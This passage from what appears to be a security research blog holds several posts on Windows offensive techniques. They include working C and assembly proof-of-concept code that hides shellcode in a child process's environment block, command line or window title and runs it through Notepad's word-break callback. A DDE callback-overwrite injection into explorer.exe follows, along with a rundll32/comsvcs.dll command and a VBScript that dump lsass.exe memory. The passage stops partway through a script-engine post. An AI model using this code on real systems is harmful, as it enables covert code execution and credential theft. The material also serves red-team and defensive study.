        .lpProcessInformation resq 1
        
        .procinfo             resb PROCESS_INFORMATION_size
        .startupinfo          resb STARTUPINFO_size
      endstruc

      %define stk_size ((stk_mem_size + 15) & -16) - 8
      
      %ifndef BIN
        global createproc
      %endif
      
      ; void createproc(WCHAR cmd[]);
createproc:
      ; save non-volatile registers
      pushx  rsi, rbx, rdi, rbp
      
      ; allocate stack memory for arguments + home space
      xor    eax, eax
      mov    al, stk_size
      sub    rsp, rax
      
      ; save pointer to buffer
      push   rcx
      
      push   TEB.ProcessEnvironmentBlock
      pop    r11
      mov    rax, [gs:r11]
      mov    rax, [rax+PEB.Ldr]
      mov    rdi, [rax+PEB_LDR_DATA.InLoadOrderModuleList + LIST_ENTRY.Flink]
      jmp    scan_dll
next_dll:    
      mov    rdi, [rdi+LDR_DATA_TABLE_ENTRY.InLoadOrderLinks + LIST_ENTRY.Flink]
scan_dll:
      mov    rbx, [rdi+LDR_DATA_TABLE_ENTRY.DllBase]

      mov    esi, [rbx+IMAGE_DOS_HEADER.e_lfanew]
      add    esi, r11d             ; add 60h or TEB.ProcessEnvironmentBlock
      ; ecx = IMAGE_DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
      mov    ecx, [rbx+rsi+IMAGE_NT_HEADERS.OptionalHeader + \
                           IMAGE_OPTIONAL_HEADER.DataDirectory + \
                           IMAGE_DIRECTORY_ENTRY_EXPORT * IMAGE_DATA_DIRECTORY_size + \
                           IMAGE_DATA_DIRECTORY.VirtualAddress - \
                           TEB.ProcessEnvironmentBlock]
      jecxz  next_dll              ; if no exports, try next DLL in list
      ; rsi = offset IMAGE_EXPORT_DIRECTORY.Name 
      lea    rsi, [rbx+rcx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
      lodsd                        ; eax = NumberOfNames
      xchg   eax, ecx
      jecxz  next_dll              ; if no names, try next DLL in list
      
      ; r8 = IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
      lodsd
      xchg   eax, r8d              ;
      add    r8, rbx               ; r8 = RVA2VA(r8, rbx)
      ; ebp = IMAGE_EXPORT_DIRECTORY.AddressOfNames
      lodsd
      xchg   eax, ebp              ;
      add    rbp, rbx              ; rbp = RVA2VA(rbp, rbx)
      ; r9 = IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals      
      lodsd
      xchg   eax, r9d
      add    r9, rbx               ; r9 = RVA2VA(r9, rbx)
find_api:
      mov    esi, [rbp+rcx*4-4]    ; rax = AddressOfNames[rcx-1]
      add    rsi, rbx
      xor    eax, eax
      cdq
hash_api:
      lodsb
      add    edx, eax
      ror    edx, 8
      dec    al
      jns    hash_api
      cmp    edx, 0x1b929a47       ; CreateProcessW
      loopne find_api              ; loop until found or no names left
      
      jnz    next_dll              ; not found? goto next_dll
      
      movzx  eax, word[r9+rcx*2]   ; eax = AddressOfNameOrdinals[rcx]
      mov    eax, [r8+rax*4]
      add    rbx, rax              ; rbx += AddressOfFunctions[rdx]
      
      ; CreateProcess(NULL, cmd, NULL, NULL, 
      ;   FALSE, 0, NULL, &si, &pi);
      pop    rdx           ; lpCommandLine = buffer for Edit
      xor    r8, r8        ; lpProcessAttributes = NULL
      xor    r9, r9        ; lpThreadAttributes = NULL
      xor    eax, eax
      mov    [rsp+stk_mem.bInheritHandles     ], rax ; bInheritHandles      = FALSE
      mov    [rsp+stk_mem.dwCreationFlags     ], rax ; dwCreationFlags      = 0
      mov    [rsp+stk_mem.lpEnvironment       ], rax ; lpEnvironment        = NULL
      mov    [rsp+stk_mem.lpCurrentDirectory  ], rax ; lpCurrentDirectory   = NULL
      
      lea    rdi, [rsp+stk_mem.procinfo       ]
      mov    [rsp+stk_mem.lpProcessInformation], rdi ; lpProcessInformation = &pi

      lea    rdi, [rsp+stk_mem.startupinfo    ]
      mov    [rsp+stk_mem.lpStartupInfo       ], rdi ; lpStartupInfo        = &si
      
      xor    ecx, ecx
      push   STARTUPINFO_size
      pop    rax
      stosd                         ; si.cb = sizeof(STARTUPINFO)
      sub    rax, 4
      xchg   eax, ecx
      rep    stosb
      call   rbx
      
      ; deallocate stack
      xor    eax, eax
      mov    al, stk_size
      add    rsp, rax
      xor    eax, eax
      
      ; restore non-volatile registers
      popx   rsi, rbx, rdi, rbp  
      ret

3. Environment Variables

Part of Unix since 1979 and MS-DOS/Windows since 1982. According to MSDN, the maximum size of a user-defined variable is 32,767 characters. 32KB should be sufficient for most shellcode, but if not, you have the option of using multiple variables for anything else.

There’s a few ways to inject using variables, but I found the easiest approach to be setting one in the current process with SetEnvironmentVariable, and then allowing CreateProcessW to transfer or propagate all of them to the new process by setting the lpEnvironment parameter to NULL.

    // generate random name
    srand(time(0));
    for(i=0; i<MAX_NAME_LEN; i++) {
      name[i] = ((rand() % 2) ? L'a' : L'A') + (rand() % 26);
    }
    
    // set variable in this process space with our shellcode
    SetEnvironmentVariable(name, (PWCHAR)WINEXEC);
    
    // create a new process using 
    // environment variables from this process
    ZeroMemory(&si, sizeof(si));
    si.cb          = sizeof(si);
    si.dwFlags     = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWDEFAULT;
    
    CreateProcess(NULL, L"notepad", NULL, NULL, 
      FALSE, 0, NULL, NULL, &si, &pi);

Variable names are stored in memory alphabetically and will appear in the same order for the new process so long as lpEnvironment for CreateProcess is set to NULL. The PoC here will locate the address of the shellcode inside the current environment block, then subtract the base address to obtain the relative virtual address (RVA).

// return relative virtual address of environment block
DWORD get_var_rva(PWCHAR name) {
    PVOID  env;
    PWCHAR str, var;
    DWORD  rva = 0;
    
    // find the offset of value for environment variable
    env = NtCurrentTeb()->ProcessEnvironmentBlock->ProcessParameters->Environment;
    str = (PWCHAR)env;
    
    while(*str != 0) {
      // our name?
      if(wcsncmp(str, name, MAX_NAME_LEN) == 0) {
        var = wcsstr(str, L"=") + 1;
        // calculate RVA of value
        rva = (PBYTE)var - (PBYTE)env;
        break;
      }
      // advance to next entry
      str += wcslen(str) + 1;
    }
    return rva;
}

Once we have the RVA for local process, read the address of environment block in remote process and add the RVA.

// get the address of environment block
PVOID var_get_env(HANDLE hp, PDWORD envlen) {
    NTSTATUS                    nts;
    PROCESS_BASIC_INFORMATION   pbi;
    RTL_USER_PROCESS_PARAMETERS upp;
    PEB                         peb;
    ULONG                       len;
    SIZE_T                      rd;

    // get the address of PEB
    nts = NtQueryInformationProcess(
        hp, ProcessBasicInformation,
        &pbi, sizeof(pbi), &len);
    
    // get the address RTL_USER_PROCESS_PARAMETERS
    ReadProcessMemory(
      hp, pbi.PebBaseAddress,
      &peb, sizeof(PEB), &rd);
    
    // get the address of Environment block 
    ReadProcessMemory(
      hp, peb.ProcessParameters,
      &upp, sizeof(RTL_USER_PROCESS_PARAMETERS), &rd);

    *envlen = upp.EnvironmentSize;
    return upp.Environment;
}

The full routine will copy the user-supplied command to the Edit control and the shellcode will receive this when the word break callback is executed. You don’t need to use Notepad, but I just wanted to avoid the usual methods of executing code via RtlCreateUserThread or CreateRemoteThread. Figure 1 shows the shellcode stored as an environment variable. See var_inject.c for more detals.

Figure 1. Environment variable of new process containing shellcode.

void var_inject(PWCHAR cmd) {
    STARTUPINFO         si;
    PROCESS_INFORMATION pi;
    WCHAR               name[MAX_PATH]={0};    
    INT                 i; 
    PVOID               va;
    DWORD               rva, old, len;
    PVOID               env;
    HWND                npw, ecw;

    // generate random name
    srand(time(0));
    for(i=0; i<MAX_NAME_LEN; i++) {
      name[i] = ((rand() % 2) ? L'a' : L'A') + (rand() % 26);
    }
    
    // set variable in this process space with our shellcode
    SetEnvironmentVariable(name, (PWCHAR)WINEXEC);
    
    // create a new process using 
    // environment variables from this process
    ZeroMemory(&si, sizeof(si));
    si.cb          = sizeof(si);
    si.dwFlags     = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWDEFAULT;
    
    CreateProcess(NULL, L"notepad", NULL, NULL, 
      FALSE, 0, NULL, NULL, &si, &pi);
     
    // wait for process to initialize
    // if you don't wait, there can be a race condition
    // reading the correct Environment address from new process    
    WaitForInputIdle(pi.hProcess, INFINITE);
    
    // the command to execute is just pasted into the notepad
    // edit control.
    npw = FindWindow(L"Notepad", NULL);
    ecw = FindWindowEx(npw, NULL, L"Edit", NULL);
    SendMessage(ecw, WM_SETTEXT, 0, (LPARAM)cmd);
    
    // get the address of environment block in new process
    // then calculate the address of shellcode
    env = var_get_env(pi.hProcess, &len);
    va = (PBYTE)env + get_var_rva(name);

    // set environment block to RWX
    VirtualProtectEx(pi.hProcess, env, 
      len, PAGE_EXECUTE_READWRITE, &old);

    // execute shellcode
    SendMessage(ecw, EM_SETWORDBREAKPROC, 0, (LPARAM)va);
    SendMessage(ecw, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a);
    SendMessage(ecw, EM_SETWORDBREAKPROC, 0, (LPARAM)NULL);
    
cleanup:
    // cleanup and exit
    SetEnvironmentVariable(name, NULL);
    
    if(pi.hProcess != NULL) {
      CloseHandle(pi.hThread);
      CloseHandle(pi.hProcess);
    }
}

4. Command Line

This can be easier to work with than environment variables. For this example, only the shellcode itself is used and that can be located easily in the PEB.

    #define NOTEPAD_PATH L"%SystemRoot%\\system32\\notepad.exe"

    ExpandEnvironmentStrings(NOTEPAD_PATH, path, MAX_PATH);
    
    // create a new process using shellcode as command line
    ZeroMemory(&si, sizeof(si));
    si.cb          = sizeof(si);
    si.dwFlags     = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWDEFAULT;
    
    CreateProcess(path, (PWCHAR)WINEXEC, NULL, NULL, 
      FALSE, 0, NULL, NULL, &si, &pi);

Reading is much the same as reading environment variables since they both reside inside RTL_USER_PROCESS_PARAMETERS.

// get the address of command line
PVOID get_cmdline(HANDLE hp, PDWORD cmdlen) {
    NTSTATUS                    nts;
    PROCESS_BASIC_INFORMATION   pbi;
    RTL_USER_PROCESS_PARAMETERS upp;
    PEB                         peb;
    ULONG                       len;
    SIZE_T                      rd;

    // get the address of PEB
    nts = NtQueryInformationProcess(
        hp, ProcessBasicInformation,
        &pbi, sizeof(pbi), &len);
    
    // get the address RTL_USER_PROCESS_PARAMETERS
    ReadProcessMemory(
      hp, pbi.PebBaseAddress,
      &peb, sizeof(PEB), &rd);
    
    // get the address of command line 
    ReadProcessMemory(
      hp, peb.ProcessParameters,
      &upp, sizeof(RTL_USER_PROCESS_PARAMETERS), &rd);

    *cmdlen = upp.CommandLine.Length;
    return upp.CommandLine.Buffer;
}

Figure 2 illustrates what Process Explorer might show for the new process. See cmd_inject.c for more detals.

Figure 2. Command line of new process containing shellcode.

#define NOTEPAD_PATH L"%SystemRoot%\\system32\\notepad.exe"

void cmd_inject(PWCHAR cmd) {
    STARTUPINFO         si;
    PROCESS_INFORMATION pi;
    WCHAR               path[MAX_PATH]={0};
    DWORD               rva, old, len;
    PVOID               cmdline;
    HWND                npw, ecw;

    ExpandEnvironmentStrings(NOTEPAD_PATH, path, MAX_PATH);
    
    // create a new process using shellcode as command line
    ZeroMemory(&si, sizeof(si));
    si.cb          = sizeof(si);
    si.dwFlags     = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWDEFAULT;
    
    CreateProcess(path, (PWCHAR)WINEXEC, NULL, NULL, 
      FALSE, 0, NULL, NULL, &si, &pi);
     
    // wait for process to initialize
    // if you don't wait, there can be a race condition
    // reading the correct command line from new process  
    WaitForInputIdle(pi.hProcess, INFINITE);
    
    // the command to execute is just pasted into the notepad
    // edit control.
    npw = FindWindow(L"Notepad", NULL);
    ecw = FindWindowEx(npw, NULL, L"Edit", NULL);
    SendMessage(ecw, WM_SETTEXT, 0, (LPARAM)cmd);
    
    // get the address of command line in new process
    // which contains our shellcode
    cmdline = get_cmdline(pi.hProcess, &len);
    
    // set the address to RWX
    VirtualProtectEx(pi.hProcess, cmdline, 
      len, PAGE_EXECUTE_READWRITE, &old);
    
    // execute shellcode
    SendMessage(ecw, EM_SETWORDBREAKPROC, 0, (LPARAM)cmdline);
    SendMessage(ecw, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a);
    SendMessage(ecw, EM_SETWORDBREAKPROC, 0, (LPARAM)NULL);
    
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}

5. Window Title

IMHO, this is the best of three because the lpTitle field of STARTUPINFO only applies to console processes. If a GUI like notepad is selected, process explorer doesn’t show any unusual characters for various properties. Set lpTitle to the shellcode and CreateProcessW will inject. As with the other two methods, obtaining the address can be read via the PEB.

    // create a new process using shellcode as window title
    ZeroMemory(&si, sizeof(si));
    si.cb          = sizeof(si);
    si.dwFlags     = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWDEFAULT;
    si.lpTitle     = (PWCHAR)WINEXEC;

6. Runtime Data

Two fields (cbReserved2 and lpReserved2) in the STARTUPINFO structure are, according to Microsoft, “Reserved for use by the C Run-time” and must be NULL or zero prior to calling CreateProcess. The maximum amount of data that can be transferred into a new process is 65,536 bytes, but my experiment with it resulted in the new process failing to execute. The fault was in ucrtbase.dll likely because lpReserved2 didn’t point to the data it expected.

While it didn’t work for me, that’s not to say it can’t work with some additional tweaking. Sources

Posted in assembly, injection, malware, process injection, programming, redteam, security, shellcode, windows | Tagged , , , , , | 1 Comment

MiniDumpWriteDump via COM+ Services DLL

Introduction

This will be a very quick code-oriented post about a DLL function exported by comsvcs.dll that I was unable to find any reference to online.

UPDATE: Memory Dump Analysis Anthology Volume 1 that was published in 2008 by Dmitry Vostokov, discusses this function in a chapter on COM+ Crash Dumps. The reason I didn’t find it before is because I was searching for “MiniDumpW” and not “MiniDump”.

While searching for DLL/EXE that imported DBGHELP!MiniDumpWriteDump, I discovered comsvcs.dll exports a function called MiniDumpW which appears to have been designed specifically for use by rundll32. It will accept three parameters but the first two are ignored. The third parameter should be a UNICODE string combining three tokens/parameters wrapped in quotation marks. The first is the process id, the second is where to save the memory dump and third requires the keyword “full” even though there’s no alternative for this last parameter.

To use from the command line, type the following: "rundll32 C:\windows\system32\comsvcs.dll MiniDump "1234 dump.bin full"" where “1234” is the target process to dump. Obviously, this assumes you have permission to query and read the memory of target process. If COMSVCS!MiniDumpW encounters an error, it simply calls KERNEL32!ExitProcess and you won’t see anything. The following code in C demonstrates how to invoke it dynamically.

BTW, HRESULT is probably the wrong return type. Internally it exits the process with E_INVALIDARG if it encounters a problem with the parameters, but if it succeeds, it returns 1. S_OK is defined as 0.

#define UNICODE
#include <windows.h>
#include <stdio.h>

typedef HRESULT (WINAPI *_MiniDumpW)(
  DWORD arg1, DWORD arg2, PWCHAR cmdline);
  
typedef NTSTATUS (WINAPI *_RtlAdjustPrivilege)(
  ULONG Privilege, BOOL Enable, 
  BOOL CurrentThread, PULONG Enabled);

// "<pid> <dump.bin> full"
int wmain(int argc, wchar_t *argv[]) {
    HRESULT             hr;
    _MiniDumpW          MiniDumpW;
    _RtlAdjustPrivilege RtlAdjustPrivilege;
    ULONG               t;
    
    MiniDumpW          = (_MiniDumpW)GetProcAddress(
      LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
      
    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
      GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
    
    if(MiniDumpW == NULL) {
      printf("Unable to resolve COMSVCS!MiniDumpW.\n");
      return 0;
    }
    // try enable debug privilege
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
        
    printf("Invoking COMSVCS!MiniDumpW(\"%ws\")\n", argv[1]);
   
    // dump process
    MiniDumpW(0, 0,  argv[1]);
    printf("OK!\n");
    
    return 0;
}

Since neither rundll32 nor comsvcs!MiniDumpW will enable the debugging privilege required to access lsass.exe, the following VBscript will work in an elevated process.

Option Explicit

Const SW_HIDE = 0

If (WScript.Arguments.Count <> 1) Then
    WScript.StdOut.WriteLine("procdump - Copyright (c) 2019 odzhan")
    WScript.StdOut.WriteLine("Usage: procdump <process>")
    WScript.Quit
Else
    Dim fso, svc, list, proc, startup, cfg, pid, str, cmd, query, dmp
    
    ' get process id or name
    pid = WScript.Arguments(0)
    
    ' connect with debug privilege
    Set fso  = CreateObject("Scripting.FileSystemObject")
    Set svc  = GetObject("WINMGMTS:{impersonationLevel=impersonate, (Debug)}")
    
    ' if not a number
    If(Not IsNumeric(pid)) Then
      query = "Name"
    Else
      query = "ProcessId"
    End If
    
    ' try find it
    Set list = svc.ExecQuery("SELECT * From Win32_Process Where " & _
      query & " = '" & pid & "'")
    
    If (list.Count = 0) Then
      WScript.StdOut.WriteLine("Can't find active process : " & pid)
      WScript.Quit()
    End If

    For Each proc in list
      pid = proc.ProcessId
      str = proc.Name
      Exit For
    Next

    dmp = fso.GetBaseName(str) & ".bin"
    
    ' if dump file already exists, try to remove it
    If(fso.FileExists(dmp)) Then
      WScript.StdOut.WriteLine("Removing " & dmp)
      fso.DeleteFile(dmp)
    End If
    
    WScript.StdOut.WriteLine("Attempting to dump memory from " & _
      str & ":" & pid & " to " & dmp)
    
    Set proc       = svc.Get("Win32_Process")
    Set startup    = svc.Get("Win32_ProcessStartup")
    Set cfg        = startup.SpawnInstance_
    cfg.ShowWindow = SW_HIDE

    cmd = "rundll32 C:\windows\system32\comsvcs.dll, MiniDump " & _
          pid & " " & fso.GetAbsolutePathName(".") & "\" & _
          dmp & " full"
    
    Call proc.Create (cmd, null, cfg, pid)
    
    ' sleep for a second
    Wscript.Sleep(1000)
    
    If(fso.FileExists(dmp)) Then
      WScript.StdOut.WriteLine("Memory saved to " & dmp)
    Else
      WScript.StdOut.WriteLine("Something went wrong.")
    End If
End If

Run from elevated cmd prompt.

No idea how useful this could be, but since it’s part of the operating system, it’s probably worth knowing anyway. Perhaps you will find similar functions in signed binaries that perform memory dumping of a target process. 🙂

Posted in windows | Tagged , , , | Leave a comment

Windows Process Injection: Breaking BaDDEr

Introduction

Dynamic Data Exchange (DDE) is a data sharing protocol while the Dynamic Data Exchange Management Library (DDEML) facilitates sharing of data among applications over the DDE protocol. DDE made the headlines in October 2017 after a vulnerability was discovered in Microsoft Office that could be exploited to execute code. Since then, it’s been disabled by default and is therefore not considered a critical component. The scope of this injection method is limited to explorer.exe, unless of course you know of other applications that use it. I’d like to thank Adam for the discussion about using DDE for injection and also the cheesy name. 😀

Enumerating DDE Servers

The only DLL that use DDE servers on Windows 10 are shell32.dll, ieframe.dll and twain_32.dll. shell32.dll creates three DDE servers that are hosted by explorer.exe. The following code uses DDEML API to list servers and the process hosting them.

VOID dde_list(VOID) {
    CONVCONTEXT cc;
    HCONVLIST   cl;
    DWORD       idInst = 0;
    HCONV       c = NULL;
    CONVINFO    ci;
    WCHAR       server[MAX_PATH];
    
    if(DMLERR_NO_ERROR != DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0)) {
      printf("unable to initialize : %i.\n", GetLastError());
      return;
    }
    
    ZeroMemory(&cc, sizeof(cc));
    cc.cb = sizeof(cc);
    cl = DdeConnectList(idInst, 0, 0, 0, &cc);
    
    if(cl != NULL) {
      for(;;) {
        c = DdeQueryNextServer(cl, c);
        if(c == NULL) break;
        ci.cb = sizeof(ci);
        DdeQueryConvInfo(c, QID_SYNC, &ci);
        DdeQueryString(idInst, ci.hszSvcPartner, server, MAX_PATH, CP_WINUNICODE);
        
        printf("Service : %-10ws Process : %ws\n", 
          server, wnd2proc(ci.hwndPartner));
      }
      DdeDisconnectList(cl);
    } else {
      printf("DdeConnectList : %x\n", DdeGetLastError(idInst));
    }
    DdeUninitialize(idInst);
}

DDE Internals

Figure 1 shows the decompiled code where the servers are created.

Figure 1. DDE initialization in shell32.dll

user32!DdeInitializeW is where all the interesting stuff occurs. user32!InternalDdeInitialize will allocate memory on the heap for a structure called CL_INSTANCE_INFO which isn’t documented in the public SDK, but you can still find it online.

typedef struct tagCL_INSTANCE_INFO {
    struct tagCL_INSTANCE_INFO *next;
    HANDLE                      hInstServer;
    HANDLE                      hInstClient;
    DWORD                       MonitorFlags;
    HWND                        hwndMother;
    HWND                        hwndEvent;
    HWND                        hwndTimeout;
    DWORD                       afCmd;
    PFNCALLBACK                 pfnCallback;
    DWORD                       LastError;
    DWORD                       tid;
    LATOM                      *plaNameService;
    WORD                        cNameServiceAlloc;
    PSERVER_LOOKUP              aServerLookup;
    short                       cServerLookupAlloc;
    WORD                        ConvStartupState;
    WORD                        flags;              // IIF_ flags
    short                       cInDDEMLCallback;
    PLINK_COUNT                 pLinkCount;
} CL_INSTANCE_INFO, *PCL_INSTANCE_INFO;

The only field we’re interested in is pfnCallback. The steps to inject are:

  1. Find the DDE mother window by its registered class name “DDEMLMom”.
  2. Read the address of CL_INSTANCE_INFO using GetWindowLongPtr.
  3. Allocate RWX memory in remote process and write payload there.
  4. Overwrite the function pointer pfncallback with the remote address of payload.
  5. Trigger execution over DDE.

Figure 2 shows the properties of the mother window. As you can see, index zero of the Window Bytes is set. This is the address of CL_INSTANCE_INFO.

Figure 2. Mother Window for DDE server.

Injection

The following is a PoC to demonstrate the method works. Full source can be found here.

VOID dde_inject(LPVOID payload, DWORD payloadSize) {
    HWND             hw;
    SIZE_T           rd, wr;
    LPVOID           ptr, cs;
    HANDLE           hp;
    CL_INSTANCE_INFO pcii;
    CONVCONTEXT      cc;
    HCONVLIST        cl;
    DWORD            pid, idInst = 0;
    
    // 1. find a DDEML window and read the address 
    //    of CL_INSTANCE_INFO
    hw = FindWindowEx(NULL, NULL, L"DDEMLMom", NULL);
    if(hw == NULL) return;
    ptr = (LPVOID)GetWindowLongPtr(hw, GWLP_INSTANCE_INFO);
    if(ptr == NULL) return;
      
    // 2. open the process and read CL_INSTANCE_INFO
    GetWindowThreadProcessId(hw, &pid);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if(hp == NULL) return;
    ReadProcessMemory(hp, ptr, &pcii, sizeof(pcii), &rd);
    
    // 3. allocate RWX memory and write payload there.
    //    update callback
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
      MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    WriteProcessMemory(
      hp, (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback), 
      &cs, sizeof(ULONG_PTR), &wr);
            
    // 4. trigger execution via DDE protocol
    DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0);
    ZeroMemory(&cc, sizeof(cc));
    cc.cb = sizeof(cc);
    cl = DdeConnectList(idInst, 0, 0, 0, &cc);
    DdeDisconnectList(cl);
    DdeUninitialize(idInst);
    
    // 5. restore original pointer and cleanup
    WriteProcessMemory(
      hp, 
      (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback), 
      &pcii.pfnCallback, sizeof(ULONG_PTR), &wr);
          
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}
Posted in injection, malware, process injection, programming, windows | Tagged , , , , | Leave a comment

Shellcode: In-Memory Execution of JavaScript, VBScript, JScript and XSL

Introduction

A DynaCall() Function for Win32 was published in the August 1998 edition of Dr.Dobbs Journal. The author, Ton Plooy, provided a function in C that allows an interpreted language such as VBScript to call external DLL functions via a registered COM object. An Automation Object for Dynamic DLL Calls published in November 1998 by Jeff Stong built upon this work to provide a more complete project which he called DynamicWrapper. In 2011, Blair Strang wrote a tool called vbsmem that used DynamicWrapper to execute shellcode from VBScript. DynamicWrapper was the source of inspiration for another tool called DynamicWrapperX that appeared in 2008 and it too was used to execute shellcode from VBScript by Casey Smith.

The May 2019 update of Defender Application Control included a number of new policies, one of which is “COM object registration”. Microsoft states the purpose of this policy is to enforce “a built-in allow list of COM object registrations to reduce the risk introduced from certain powerful COM objects.” Are they referring to DynamicWrapper? Possibly, but what about unregistered COM objects? Robert Freeman/IBM demonstrated in 2007 that unregistered COM objects may be useful for obfuscation purposes. His Virus Bulletin presentation Novel code obfuscation with COM doesn’t provide any proof-of-concept code, but does demonstrate the potential to misuse the IActiveScript interface for Dynamic DLL calls without COM registration.

Windows Script Host (WSH)

WSH is an automation technology available since Windows 95 that was popular among developers prior to the release of the .NET Framework in 2002. It was primarily used for generation of dynamic content like Active Server Pages (ASP) written in JScript or VBScript. As .NET superseded this technology, much of the wisdom developers acquired about Active Scripting up until 2002 slowly disappeared from the internet. One post that was recommended quite frequently on developer forums is the Active X FAQ by Mark Baker, which answers most questions developers have about the IActiveScript interface.

Enumerating Script Engines

Can be performed in at least two ways.

  1. Each Class Identifier in HKEY_CLASSES_ROOT\CLSID\ that contains a subkey called OLEScript can be used with Windows Script Hosting.
  2. The Component Categories Manager can enumerate CLSID for category identifiers CATID_ActiveScript or CATID_ActiveScriptParse.

Below is a snippet of code for displaying active script engines using the second approach. See full version here.

void DisplayScriptEngines(void) {
    ICatInformation *pci = NULL;
    IEnumCLSID      *pec = NULL;
    HRESULT         hr;
    CLSID           clsid;
    OLECHAR         *progID, *idStr, path[MAX_PATH], desc[MAX_PATH];
  
    // initialize COM
    CoInitialize(NULL);
    
    // obtain component category manager for this machine
    hr = CoCreateInstance(
      CLSID_StdComponentCategoriesMgr, 
      0, CLSCTX_SERVER, IID_ICatInformation, 
      (void**)&pci);
      
    if(hr == S_OK) {
      // obtain list of script engine parsers
      hr = pci->EnumClassesOfCategories(
        1, &CATID_ActiveScriptParse, 0, 0, &pec);
      
      if(hr == S_OK) {
        // print each CLSID and Program ID
        for(;;) {
          ZeroMemory(path, ARRAYSIZE(path));
          ZeroMemory(desc, ARRAYSIZE(desc));
          
          hr = pec->Next(1, &clsid, 0);
          if(hr != S_OK) {
            break;
          }
          ProgIDFromCLSID(clsid, &progID);
          StringFromCLSID(clsid, &idStr);
          GetProgIDInfo(idStr, path, desc);
          
          wprintf(L"\n*************************************\n");
          wprintf(L"Description : %s\n", desc);
          wprintf(L"CLSID       : %s\n", idStr);
          wprintf(L"Program ID  : %s\n", progID);
          wprintf(L"Path of DLL : %s\n", path);
          
          CoTaskMemFree(progID);
          CoTaskMemFree(idStr);
        }
        pec->Release();
      }
      pci->Release();
    }
}

The output of this code on a system with ActivePerl and ActivePython installed :

*************************************
Description : JScript Language
CLSID       : {16D51579-A30B-4C8B-A276-0FF4DC41E755}
Program ID  : JScript
Path of DLL : C:\Windows\System32\jscript9.dll

*************************************
Description : XML Script Engine
CLSID       : {989D1DC0-B162-11D1-B6EC-D27DDCF9A923}
Program ID  : XML
Path of DLL : C:\Windows\System32\msxml3.dll

*************************************
Description : VB Script Language
CLSID       : {B54F3741-5B07-11CF-A4B0-00AA004A55E8}
Program ID  : VBScript
Path of DLL : C:\Windows\System32\vbscript.dll

*************************************
Description : VBScript Language Encoding
CLSID       : {B54F3743-5B07-11CF-A4B0-00AA004A55E8}
Program ID  : VBScript.Encode
Path of DLL : C:\Windows\System32\vbscript.dll

*************************************
Description : JScript Compact Profile (ECMA 327)
CLSID       : {CC5BBEC3-DB4A-4BED-828D-08D78EE3E1ED}
Program ID  : JScript.Compact
Path of DLL : C:\Windows\System32\jscript.dll

*************************************
Description : Python ActiveX Scripting Engine
CLSID       : {DF630910-1C1D-11D0-AE36-8C0F5E000000}
Program ID  : Python.AXScript.2
Path of DLL : pythoncom36.dll

*************************************
Description : JScript Language
CLSID       : {F414C260-6AC0-11CF-B6D1-00AA00BBBB58}
Program ID  : JScript
Path of DLL : C:\Windows\System32\jscript.dll

*************************************
Description : JScript Language Encoding
CLSID       : {F414C262-6AC0-11CF-B6D1-00AA00BBBB58}
Program ID  : JScript.Encode
Path of DLL : C:\Windows\System32\jscript.dll

*************************************
Description : PerlScript Language
CLSID       : {F8D77580-0F09-11D0-AA61-3C284E000000}
Program ID  : PerlScript
Path of DLL : C:\Perl64\bin\PerlSE.dll

The PerlScript and Python scripting engines are provided by ActiveState. I would recommend using {16D51579-A30B-4C8B-A276-0FF4DC41E755} for JavaScript.

C Implementation of IActiveScript

During research into IActiveScript, I found COM in plain C, part 6 by Jeff Glatt to be helpful. The following code is the bare minimum required to execute VBS/JS files and does not support WSH objects. See here for the full source.

VOID run_script(PWCHAR lang, PCHAR script) {
    IActiveScriptParse     *parser;
    IActiveScript          *engine;
    MyIActiveScriptSite    mas;
    IActiveScriptSiteVtbl  vft;
    LPVOID                 cs;
    DWORD                  len;
    CLSID                  langId;
    HRESULT                hr;
    
    // 1. Initialize IActiveScript based on language
    CLSIDFromProgID(lang, &langId);
    CoInitializeEx(NULL, COINIT_MULTITHREADED);
    
    CoCreateInstance(
      &langId, 0, CLSCTX_INPROC_SERVER, 
      &IID_IActiveScript, (void **)&engine);
    
    // 2. Query engine for script parser and initialize
    engine->lpVtbl->QueryInterface(
        engine, &IID_IActiveScriptParse, 
        (void **)&parser);
        
    parser->lpVtbl->InitNew(parser);
    
    // 3. Initialize IActiveScriptSite interface
    vft.QueryInterface      = (LPVOID)QueryInterface;
    vft.AddRef              = (LPVOID)AddRef;
    vft.Release             = (LPVOID)Release;
    vft.GetLCID             = (LPVOID)GetLCID;
    vft.GetItemInfo         = (LPVOID)GetItemInfo;
    vft.GetDocVersionString = (LPVOID)GetDocVersionString;
    vft.OnScriptTerminate   = (LPVOID)OnScriptTerminate;
    vft.OnStateChange       = (LPVOID)OnStateChange;
    vft.OnScriptError       = (LPVOID)OnScriptError;
    vft.OnEnterScript       = (LPVOID)OnEnterScript;
    vft.OnLeaveScript       = (LPVOID)OnLeaveScript;
    
    mas.site.lpVtbl     = (IActiveScriptSiteVtbl*)&vft;
    mas.siteWnd.lpVtbl  = NULL;
    mas.m_cRef          = 0;
    
    engine->lpVtbl->SetScriptSite(
        engine, (IActiveScriptSite *)&mas);
        
    // 4. Convert script to unicode and execute
    len = MultiByteToWideChar(
